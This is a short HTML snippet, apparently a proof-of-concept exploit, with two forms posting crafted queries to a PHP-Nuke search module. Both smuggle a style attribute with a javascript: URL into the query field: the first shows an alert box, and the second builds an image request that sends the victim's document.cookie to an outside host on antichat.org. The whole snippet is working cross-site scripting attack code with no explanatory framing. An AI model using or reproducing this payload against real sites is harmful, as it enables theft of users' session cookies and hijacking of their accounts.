<form action="http://nuke/modules.php?name=Search" method="post">
<input type=hidden name="query" value='search"style="search"style="background:url(javascript:alert())'>
<input type="submit" value="Искать">
</form>

<form action="http://nuke/modules.php?name=Search" method="post">
<input type=hidden name="query" value='search"style="background:url(javascript:img=new
Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;)'>
<input type="submit" value="Искать">
</form>